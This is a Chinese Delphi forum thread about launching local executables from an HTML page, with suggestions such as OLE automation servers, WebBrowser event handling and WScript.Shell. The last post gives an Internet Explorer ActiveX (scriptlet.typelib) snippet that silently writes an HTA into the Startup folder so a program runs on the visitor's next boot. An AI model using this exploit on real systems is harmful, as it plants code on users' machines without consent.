在html文件中如何调用外部的可执行文件(100分)

  • 主题发起人 主题发起人 FreeFly
  • 开始时间 开始时间
F

FreeFly

Unregistered / Unconfirmed
GUEST, unregistred user!
例如页面中有一个按钮,按下去之后就调用记事本,该如何实现?
另外,在点击下载文件的时候,就会自动去调用jetcar,
这是怎样实现的?
 
》》在点击下载文件的时候,就会自动去调用jetcar,这是怎样实现的?
这是Jetcar的事,由它来监视,和htlm无关
 
看WINDOWS的消息
高手来截取 :-)
 
1.wscript host
 
1、是通过远程调用,用clsid来调用程序的。
2、是jetcar的事。
 
你的先做一个OLE Server,在OLE Server中实现调用记事本的功能,然后在Html页面中用VBScript写一函数调用改OLE Server的相关函数(用CreateObject).
 
To cAkk and Chenlili:两位大侠是否可以写的更详细一点,
或者给一小段示例程序,小弟的水平实在有限的说。
To Slong:我不会做OLE Server该怎么办,还有没有其它的
方法?
 
椐本人了解,再网页中没有直接调用.Exe的能力,只能通过OLE Server来完成,
其实,OLE Server的制作很简单,在Delphi中选择菜单File -> New,然后选
ActiveX页中的Automation Object就可新建一OLE Server了,然后在Type Library 中点New Method按钮可新加一函数(方法),在该函数中用Winexe等
函数调用记事本即可。
 
各位高手:怎么不把这个问题继续下去呀?我很有兴趣的!
 
FreeFly:
分数要给我!你这问题我已经问过,而且,代码已经成功!

感谢DreamTiger,
搞定!
e:/temp/1.htm为:

《p》
《input type="button" value="Button1" name="B1" onclick="location='b1.htm'"》
《input type="button" value="Button2" name="B2" onclick="location='b2.htm'"》
《input type="button" value="Button3" name="B3" onclick="location='b3.htm'"》
《input type="button" value="Button4" name="B4" onclick="location='b4.htm'"》
《/p》

程序:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, OleCtrls, SHDocVw,MSHtml;

type
TForm1 = class(TForm)
WebBrowser1: TWebBrowser;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure WebBrowser1BeforeNavigate2(Sender: TObject;
const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData,
Headers: OleVariant; var Cancel: WordBool);
public
bLoaded:boolean;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure cancelLink;
begin
ShowMessage('Click');
end;

//调入需要的页面
procedure TForm1.Button1Click(Sender: TObject);
begin
bLoaded := false;
WebBrowser1.Navigate('file://e:/temp/1.htm');
bLoaded := true;
end;

//检查调入的页面
procedure TForm1.WebBrowser1BeforeNavigate2(Sender: TObject;
const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData,
Headers: OleVariant; var Cancel: WordBool);
var
sUrl:string;
begin
if bLoaded then //如果bLoaded = false,表示是正常程序调入页面
begin
//bLoaded = true,是用户单击Button进行浏览。
sUrl := String(URL);
//可以根据sUrl来判断用户点击了那个Button。
//也可以根据sUrl来判断是否应该继续浏览页面
//这里假设页面只有button,不再继续浏览。
Cancel := true;
ShowMessage(sUrl);
end;
end;

end.
 
歪就歪大侠你这个方法,我已经知道了,但是我要的是在IE里,而不是在webbrowser中.
请各位继续.
 
直接在IE 中调入本地exe运行,可能已超出了网络的安全许可,应该不可能,否则
能运行 notepad, 也可能运行 format 。

 
说穿了很简单!

该按纽与一个后缀名为txt的文件连接,拟一点按钮,当然就调用缺省的文本编辑器了!
这是IE的功能!
例:
<html>
<body>
<a href="1.txt">open a file with notepad</a>
</body>
</html>
 
即便是缺省的,也只能是WebServer端的省确, 而通常只能是 WebServer 认可的
文件类型,或 cgi 支持的文件类型。


 
这是我曾经回答y9y的问题:
=======================================
下面VBScript语句可以执行一个本地EXE文件:
sub run Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.run("notepad.exe")
end sub
你只要把表单的提交指向这段VBscript函数,然后该函数根据提交内容
执行本地exe文件,加上不同的执行参数. 本地exe文件根据参数就可以知道提交的情况了.
 
y9y的这个问题在:
http://www.gislab.ecnu.edu.cn/delphibbs/DispQ.asp?LID=208146

BTW: 老歪,断了你的财路了,习习:-)
 
cAkk: 呵呵,你的法子应该是正规的解决办法,而且我也不好意思用别
人的回答给自己挣钱(歪就歪捂着钱包,嚎啕大哭)
 
嘿嘿
小天啊,早问我啊
freebsd下用的比较多的也是那个mysql
mysql装好以后(怎么装不是大富翁的问题),在你的client上装一个mysql的odbc client
mysql主页上有载,有了odbc,就不用我教你怎么在delphi里用了吧?
另外,mysql的主页上也有n个直接用的delphi控件,调用mysql的api的,嘿嘿,自己去看看吧
 
To GWW:
是客户端却省的编辑器!
 
《object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'》
《/object》
《SCRIPT》wsh.Run('notepad.exe');《/SCRIPT》
这样在IE5下有提示。

还有个办法就是写入“启动”菜单或Start Up.
这样没提示,但是………自己试吧。

这起不就是和运行Format差不多吗?并且什么招呼都不打?
Faint,还是不要告诉为好哦...

《object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"》 《/object》

《script》
scr.Reset();
scr.Path="C://WINDOWS//Start Menu//Programs//启动//runscript.hta";
scr.Path="C://WINDOWS//Start Menu//Programs//Startup//runscript.hta";
scr.Doc="《object id='runExe' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'》《/object》《SCRIPT》runExe.Run('regedit');alert('Script is runing file.');《/"+"SCRIPT》";
scr.write();
《/script 》
下次开机别人就会运行程序。
这个带点Harck味道……
 
后退
顶部